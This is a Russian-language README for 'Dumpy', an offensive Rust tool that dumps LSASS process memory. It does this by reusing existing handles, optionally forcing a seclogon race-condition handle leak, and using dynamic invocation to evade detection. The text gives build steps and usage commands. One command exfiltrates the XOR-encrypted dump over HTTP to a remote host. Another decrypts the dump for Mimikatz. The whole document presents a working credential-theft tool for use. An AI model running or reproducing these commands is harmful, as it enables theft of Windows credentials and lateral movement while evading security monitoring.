
Повторное использование открытых дескрипторов для динамического дампа LSASS.
Этот инструмент динамически вызывает MiniDumpWriteDump для дампа содержимого памяти lsass. Этот процесс выполняется без открытия нового дескриптора процесса для lsass и с использованием DInvoke_rs, чтобы затруднить обнаружение его вредоносного поведения. Чтобы получить допустимый дескриптор процесса без вызова OpenProcess для lsass, все дескрипторы процессов в системе анализируются с помощью NtQuerySystemInformation, NtDuplicateObject, NtQueryObject и QueryFullProcessImageNameW.
Транзакции NTFS используются для XOR-шифрования дампа памяти перед его сохранением на диск или отправкой через HTTP.
Добавлена поддержка как x86, так и x64.
Просто скомпилируйте код в режиме release и выполните его:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
Если вы хотите скомпилировать инструмент для системы x86, измените значение параметра "target" в файле .cargo\config (например: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy имеет два основных действия:
dump: Выполняет основную логику дампа lsass. По умолчанию результат сохраняется в XOR-файл со случайным именем в текущем каталоге. Опция upload позволяет отправлять содержимое памяти через HTTP на удалённый хост, избегая создания XOR-файла на диске. Я использовал этот простой HTTP-сервер для обработки загрузки, но подойдёт любой другой HTTP-сервер, поддерживающий multipart/form-data запросы.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Если вы хотите принудительно вызвать утечку дескриптора lsass через состояние гонки в службе seclogon, описанное Antonio Cocomazzi в этой статье, просто используйте опцию force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: Это действие позволяет получить расшифрованный дамп памяти в том же формате, который ожидают такие инструменты, как Mimikatz. В качестве аргументов требуются XOR-файл дампа, ключ шифрования и путь к выходному файлу. Если XOR-файл был загружен через HTTP, перед процессом расшифровки необходимо выполнить декодирование содержимого из base64.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey